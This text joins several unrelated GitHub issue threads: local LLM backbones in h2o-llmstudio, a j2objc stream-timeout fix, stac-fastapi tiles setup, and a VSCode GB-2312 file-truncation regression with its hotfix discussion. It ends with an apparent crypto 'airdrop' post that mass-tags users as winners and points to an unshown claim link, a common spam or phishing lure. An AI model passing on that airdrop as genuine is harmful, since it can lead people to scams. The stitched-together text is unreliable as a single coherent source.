Currently there is a fixed list of LLM backbones hosted and accessible via Huggingface. It would be nice to also be able to specify a local path to a pre-trained model in the UI dropdown. Since "only" CausalLanguageModeling is currently supported, loading or training the pre-trained model is of course subject to certain conditions that would have to be checked accordingly.
Motivation
The scenarios or motivations for the feature are many. On the one hand, I create models myself with the tool, which I may want to fine-tune further. On the other hand, there are models that I try out locally and want to work with. Also, this would be a transitional solution for models located in private-flagged huggingface repositories.
What do you think?

Hi Julian, thanks for your interest in h2o-llmstudio!
It is possible to specify a local folder in the LLM Backbone text field (below I use the local cache folder of facebook--opt-125m, any folder containing weights/configs should also work).
We will improve the documentation and add a note about the use of local model weights.
Regarding your comment about private-flagged huggingface repositories: It should be possible to have access to private repositories once Huggingface hub access has been configured locally.

For continuing to train from a previous experiment, there are two additional ways to the one elaborated by @maxjeblick:
A: Use the GUI and New Experiment functionality
1.) You can re-use the settings from an old experiment by clicking on New experiment.

2.) You can then tick Use previous experiment weights to directly use the old weights.

B: Use the pretrained_weights config setting in CLI
You can just set a path to a checkpoint.pth file in pretrained_weights config setting.
This needs to be in format of how H2O LLM Studio outputs the checkpoints, bun can reference any old checkpoint you have.
We will also enable this in GUI based on this feedback as another way.

Awesome - and sorry for not evaluating that properly. I am working for the first time with your tool - exactly what I was looking for besides the fact that I cannot use one of the provided backbones. Thanks for answering!

Thanks @JulianGerhard21- please continue asking any questions if something is unclear.


release source code of new version

Hi,
why didn't source code of new version realize?

Updated Source Code


Using BufferedReader with NSInputStream

Hey guys... this is a really nasty issue i'm working with.
I am using j2objc with a translated smack library connecting to chat.  In order to use that I wrote several wrappers around socket connections... eventually ending in NSInputStream/NSOutputStream adapters.  (excerpts below)
InputStreamWrapper implementing JavaIoInputStream
-(instancetype)initWithInputStream:(NSInputStream *)inputStream {
    self = [super init];
    if (self) {
        _inputStream = inputStream;
    }
    return self;
}

-(jint)available {
    BOOL hasAvailable = NO;
    @synchronized(self) {
        hasAvailable = [self.inputStream hasBytesAvailable];
    }
    return (jint)hasAvailable;
}

-(void)close {
    @synchronized(self) {
        [self.inputStream close];
    }
}

-(BOOL)isOpen {
    BOOL open = NO;
    @synchronized(self) {
        open = self.inputStream && [self.inputStream streamStatus] == NSStreamStatusOpen;
    }
    return open;
}

-(void)markWithInt:(jint)readlimit {
}

-(jboolean)markSupported {
    return NO;
}

-(jint)read {
    IOSByteArray *byteArray = [IOSByteArray arrayWithLength:1];
    jint bytesRead = [self readWithByteArray:byteArray];
    if (bytesRead < 1) {
        return -1;
    }
    return (jint)[byteArray byteAtIndex:0];
}

-(jint)readWithByteArray:(IOSByteArray *)buffer {
    return [self readWithByteArray:buffer withInt:0 withInt:[buffer length]];
}

-(jint)readWithByteArray:(IOSByteArray *)buffer
                  withInt:(jint)byteOffset
                 withInt:(jint)byteCount {
    jint bytesRead = 0;
    @synchronized(self) {
        bytesRead = (jint)[self.inputStream read:(uint8_t *)[buffer byteRefAtIndex:byteOffset] maxLength:byteCount];
    }
    return bytesRead;
}

-(void)reset {
}

-(jlong)skipWithLong:(jlong)byteCount {
    if (byteCount <= 0) {
        return 0;
    }
    return [self readWithByteArray:[IOSByteArray arrayWithLength:byteCount]];
}

and OutputStreamWrapper implementing JavaIoOutputStream
-(instancetype)initWithOutputStream:(NSOutputStream *)outputStream {
    self = [super init];
    if (self) {
        _outputStream = outputStream;
    }
    return self;
}

-(void)close {
    @synchronized(self) {
        [self.outputStream close];
    }
}

-(void)flush {
}

-(BOOL)isOpen {
    BOOL open = NO;
    @synchronized(self) {
        open = self.outputStream && [self.outputStream streamStatus] == NSStreamStatusOpen;
    }
    return open;
}

-(void)writeWithByteArray:(IOSByteArray *)buffer {
    [self writeWithByteArray:buffer withInt:0 withInt:[buffer length]];
}

-(void)writeWithByteArray:(IOSByteArray *)buffer
                  withInt:(jint)offset
                  withInt:(jint)count {
    @synchronized(self) {
        [self.outputStream write:(uint8_t *)[buffer byteRefAtIndex:offset] maxLength:count];
    }
}

-(void)writeWithInt:(jint)oneByte {
    IOSByteArray *byteArray = [IOSByteArray arrayWithLength:1];
    [byteArray replaceByteAtIndex:0 withByte:(jbyte)oneByte];
    [self writeWithByteArray:byteArray];
}

It all works great and I'm connected... for a minute.  After a minute the NSInputStream disconnects with Error Domain=NSPOSIXErrorDomain Code=60 "The operation couldn’t be completed. Operation timed out"
This code works great on Java, but after many many hours trying to debug this on ios, i need more help.  I don't know why it's disconnecting, and trying to debug is very tough without debugging symbols in j2objc.
First, any idea what else I can try for this?  Has anyone experimented with sockets/streams yet?  I saw that it and SSL were on the todo list.  Any reason you stopped doing package releases with debug symbols?
Thanks!

Should be fixed now (in public source), as NSInputStream no longer blocks.

Actually that's the problem.  Java input stream expects you to block waiting for data.  NSInputStream doesn't block but you need it to.  You also can't read until data available or it will kill the socket eventually (after timeout).
Here's how you do (for those of you who hit this in the future)
-(jint)readWithByteArray:(IOSByteArray *)buffer
                  withInt:(jint)byteOffset
                  withInt:(jint)byteCount {
    if (byteCount <= 0) {
        return 0;
    }

    while ([self isOpen] && [self available] <= 0) {
        // don't read... wait for signal
        usleep(10000);
    }

    return (jint)[self.inputStream read:(uint8_t *)[buffer byteRefAtIndex:byteOffset] maxLength:byteCount];
}

Your solution is very similar to what java.io.PipedInputStream has always done.


Create missing mandates for 2017 to 2023

OP-1822
To be merged after #180 because I base those migrations on the organen dates to filter them properly !

@nbittich When it's reviewed, can you ping @cecemel so that he can merge https://github.com/lblod/app-digitaal-loket/pull/260 ? Thanks !! :)

@cecemel  merged & deployed to dev.


How to get true/false from NbAuthService.isAuthenticated()

Hi all,
I would like to ask how I can get true/false from NbAuthService.isAuthenticated()?  The problem now is it always returns the Observable so my if() is always true even I haven't logged-in yet (suppose false if haven't logged-in yet)
if (this.nbAuthService.isAuthenticated()) {       console.log('run here2');       return true;     }
Best regards

Moved to Nebular https://github.com/akveo/nebular/issues/15.


Help to active Titiler routes in the stac-fastapi new version

First off, thanks so much for this superb Python library. I have a small dataset that I would like to make public available to everyone using stac-api.
I was trying to activate the OGC and Titiler routes in my STAC FastAPI app, like in this video.
from stac_api.config import ApiSettings
from stac_api.api import create_app

settings = ApiSettings(
    add_ons=["tiles"]
)
app = create_app(settings)

But it seems that the API changes a bit, I was trying to solve it adding TilesExtension to the stac_fastapi/server/app.py:
from stac_fastapi.api.app import StacApi
from stac_fastapi.extensions.core import (
    FieldsExtension,
    QueryExtension,
    SortExtension,
    TransactionExtension,
)
from stac_fastapi.extensions.third_party import TilesExtension, BaseTilesClient
from stac_fastapi.extensions.third_party import BulkTransactionExtension
from stac_fastapi.sqlalchemy.config import SqlalchemySettings
from stac_fastapi.sqlalchemy.core import CoreCrudClient
from stac_fastapi.sqlalchemy.session import Session
from stac_fastapi.sqlalchemy.transactions import (
    BulkTransactionsClient,
    TransactionsClient,
)

settings = SqlalchemySettings()
session = Session.create_from_settings(settings)
api = StacApi(
    settings=settings,
    extensions=[
        TilesExtension(client=BaseTilesClient()),
        TransactionExtension(client=TransactionsClient(session=session)),
        BulkTransactionExtension(client=BulkTransactionsClient(session=session)),
        FieldsExtension(),
        QueryExtension(),
        SortExtension()
    ],
    client=CoreCrudClient(session=session),
)
app = api.app

But it doesn't work. I'm a very basic user, sorry if it is a silly question, but I will over appreciated any help.

@csaybar thanks for the issue!  It wouldn't surprise me if the switch to submodules broke the titiler integration, as there aren't any test cases for this feature.  I'll give it a try myself to see whats up!

I see what is going on.  The BaseTilesClient that you are passing as an argument to the TilesExtension just defines the base pattern that may be implemented to create your own tiles extension.  In the previous version there was also an implementation of this (https://github.com/stac-utils/stac-fastapi/blob/1.0.0/stac_api/clients/tiles/ogc.py#L16-L41) that works with the sqlalchemy backend, but this code was not moved over into the submodule.
I'll have a PR soon to add this code back in, and maybe update our titiler version + add some test cases while I'm at it.

When we switched to namespace packages the TilesClient (the actual implementation of BaseTilesClient) was dropped.  This is fixed in #118, once merged you should be able to enable the tiles extension as follows.
from stac_fastapi.api.app import StacApi
from stac_fastapi.extensions.third_party.tiles import TilesClient, TilesExtension
from stac_fastapi.sqlalchemy.config import SqlalchemySettings
from stac_fastapi.sqlalchemy.core import CoreCrudClient
from stac_fastapi.sqlalchemy.session import Session

settings = SqlalchemySettings()
session = Session.create_from_settings(settings)
db_client = CoreCrudClient(session=session)
api = StacApi(
    settings=settings,
    extensions=[
        TilesExtension(TilesClient(db_client)),
    ],
    client=db_client,
)
app = api.app

Really the only change from your code is we are passing the TilesClient as a parameter to TilesExtension.  Because the tiles client also requires the database client, its worth pulling that out to global scope so you can re-use it.  Once this is set up, when I navigate to one of the tiles URLs I see the titiler viewer as expected:

Thank you @geospatial-jeff it works like a swarm!


[Bug] When opening files of encoding GB-2312, File is truncated if one character's DBCS 2-byte code crosses multiple of 64k border

The attached file is exactly 128KB+1 bytes long. The file is in encoding GB-2312. The 1st character in it is one byte, and other characters are all 2 bytes. So the 32k-th character's 2-bytes code is at file index of 64k and 64k+1.
Open the file in VSCode, and the loaded content is only first 64k bytes of the file, and remaining contents are truncated. Save the loaded file back to disk, and the resulting file is also only 64KB long.
This bug happens at the first 2-byte character that crosses multiple of 64KB border, e.g. 128KB, 1024KB, etc. In other words, if there occasionally isn't any character in the file occasionally whose 2 bytes cross multiple of 64K border, the file will load normally, and not get truncated.
This is a recent bug. Today I reinstalled windows 10 and VSCode and found this bug. Before today all is normal.
Version: 1.47.0-insider (user setup)
Commit: e95f9e63380a139cb1cbe54bacfc6703b96e30b9
Date: 2020-07-07T07:46:21.608Z
Electron: 7.3.2
Chrome: 78.0.3904.130
Node.js: 12.8.1
V8: 7.8.279.23-electron.0
OS: Windows_NT x64 10.0.19041
Test.txt

Hm, this looks like a regression from the encoding work we did during the milestone.
I see this exception in the console:
 ERR "list" argument must be an Array of Buffers: TypeError: "list" argument must be an Array of Buffers
    at Object.c.concat (/Users/bpasero/Development/Microsoft/monaco/node_modules/iconv-lite-umd/lib/iconv-lite-umd.js:8:7832)
    at c.write (/Users/bpasero/Development/Microsoft/monaco/node_modules/iconv-lite-umd/lib/iconv-lite-umd.js:10:28377)
    at file:///Users/bpasero/Development/Microsoft/monaco/out/vs/workbench/services/textfile/common/encoding.js:64:42
    at file:///Users/bpasero/Development/Microsoft/monaco/out/vs/base/common/stream.js:170:57
    at Array.forEach (<anonymous>)
    at WriteableStreamImpl.flowData (file:///Users/bpasero/Development/Microsoft/monaco/out/vs/base/common/stream.js:170:37)
    at WriteableStreamImpl.resume (file:///Users/bpasero/Development/Microsoft/monaco/out/vs/base/common/stream.js:56:22)
    at file:///Users/bpasero/Development/Microsoft/monaco/out/vs/workbench/services/textfile/common/encoding.js:77:49

@gyzerok @ashtuchkin any clues?

This seems to originate from this method:
Buffer.concat = function concat (list, length) {
  if (!isArray(list)) {
    throw new TypeError('"list" argument must be an Array of Buffers')
  }

  if (list.length === 0) {
    return Buffer.alloc(0)
  }

  var i
  if (length === undefined) {
    length = 0
    for (i = 0; i < list.length; ++i) {
      length += list[i].length
    }
  }

  var buffer = Buffer.allocUnsafe(length)
  var pos = 0
  for (i = 0; i < list.length; ++i) {
    var buf = list[i]
    if (!Buffer.isBuffer(buf)) {
      throw new TypeError('"list" argument must be an Array of Buffers')
    }
    buf.copy(buffer, pos)
    pos += buf.length
  }
  return buffer
}

Buffer.isBuffer fails because buf in this case is Uint8Array

Digging into Buffer.isBuffer, I wonder if this is an issue with passing a real node.js Buffer into the webpacked version. Because that one seems to do this in isBuffer:
Buffer.isBuffer = function isBuffer (b) {
  return !!(b != null && b._isBuffer)
}

This actually makes me a bit nervous (because we want to ship a new stable version this week) and I wonder if we can somehow distill a minimal fix from https://github.com/microsoft/vscode/commits/release/1.47 which is already branched off on Friday before I merged the PRs that lead to the web support for encodings.

I see 2 minimal fixes that both are a bit risky, unless there is a fix I am not seeing yet:

switch back to iconv-lite where currently iconv-lite-umd is being used
convince iconv-lite-umd to not shim Buffer

I tried [2] via node: false in the web pack config, but did not get it to work. No matter what, the Buffer shim ended up in the output.
Have to log off now, but we need a solution tomorrow at least. If I see no other reply, I will probably go with option [1].

Actually there is a solution [3]: iconv-lite-umd exposes all methods from iconv-lite but makes sure to call Buffer.from(uint8Array) before passing on to iconv-lite. This would ensure that the correct Buffer type ends up in the library.
The downside is that each call into the library will have to pay the price of creating the Buffer, but I would hope that this cost is minimal in the shimmed version of Buffer if you pass over a Uint8Array.

@bpasero I am currently on it.
The footgun is located here. It seems like it's some corner case I missed when making a patch for iconv-lite and new tests I added there didn't catch this case.
Can't get node: false to work either. However it works if you set target: node. This is a bit of a hotfix, however Alex already have made the patch to support Uint8Arrays directly it is just not released yet. So shouldn't be a problem for us to remove this hotfix for the July release.
I have tested hotfix myself with the provided file and everything seems to work. Test suite also works completely.
Here is a setup for you, so you can test it yourself quickly: mkdir vscode-hotfix && git clone https://github.com/gyzerok/vscode vscode-hotfix && cd vscode-hotfix && git checkout encoding-hotfix-test
This will install my custom iconv-lite-umd with https://github.com/gyzerok/iconv-lite-umd/commit/28088a01f1e9e1659f0cfa04b083ee93f8b12911#diff-11e9f7f953edc64ba14b0cc350ae7b9dR19.

I've released v0.6.2 with the fix

@gyzerok @ashtuchkin thanks for the fast turn around, here is my suggestion going forward:

for VSCode June release I will use<EMAIL_ADDRESS>with target: "node" (via https://github.com/microsoft/iconv-lite-umd/commit/452c60a351cccf5c9f553d20ef73b3aed717c214)
for VSCode July release I will jump onto<EMAIL_ADDRESS>and remove the target: "node" config

Does that sound reasonable?

@bpasero this sounds like the safest way forward 👍

@gyzerok just to add more options to the table: alternatively using<EMAIL_ADDRESS>instead of iconv-lite-umd would maybe be the safest option, no? At least that rules out any potential regressions from webpacking and would go back to the direct use of  iconv-lite as we used to have it.

@bpasero I agree, it would be definitely even safer. However I would personally expect webpack to be trustable enough to not mess things up by itself.

Yeah, and I was able to run the iconv-lite tests against the target: "node" version with all tests passing, that gives me confidence.

We have a fix for the June release, but for insiders this is still pending a proper fix that also works in web. I opened https://github.com/microsoft/vscode/issues/101905 to track that.


Having trouble making this work

Hey,
I'm quite new to this, so I really have no idea how to get a project set up with this... Could you be a bit more detailed with your instructions.
I'm familiar with Cordova/Phonegap 3.0.0 building through terminal and I also am familiar on how to set up Chromeview as a library on a project. From there I'm a bit confused I'm not sure where to initialize Chromeview and I'm also not really certain when I use this Cordova-Android-Chromeview tool.
I followed the instructions as was still quite confused. If you could help me out that would be greatly appreciated.
Thanks.

AltLayer Airdrop Season One Announcement

Exciting news! AltLayer token (ALT) is set to launch on Binance on January 25, 2024. This milestone couldn't have been reached without our amazing community. Your support has been crucial from conceptualization to product development.
To show our gratitude, we're inviting you to join the "ALT Token community" through an airdrop for early supporters and partners. Below is a summary:

Total Allocated ALT Tokens: 300,000,000 (3% of total supply)
Distribution Categories:

NFT Holders
Altitude Campaign Participants
EigenLayer Restakers
EigenLayer Ecosystem Partners
Celestia Stakers and others

For detailed criteria and information, check the full announcement here.
Claim opens from January 25 to February 25, 2024. Unclaimed ALT tokens after this period will return to AltLayer’s Treasury.
Thank you for being part of AltLayer's success! More to come in Season One, stay tuned.
Note: Certain regions are restricted from the airdrop. Please review the disclaimer before participating.
Winners: @volatikus, @lunamcsv, @Smart624, @techsouvik, @chybisov, @joeshub, @dalraf, @kenjiSpecial, @0x434d53, @abedimajid, @oldtune, @mannystatus, @3lding, @nowakkamil, @omarefg, @derekbeard, @daddinuz, @franciosi, @mehmeta, @Web3Capital, @the40thieves, @Tsopic, @hoganri, @theforager, @rkaelle, @Jigaladima, @sujal, @dj-sly, @abefimov, @andrewpaulicek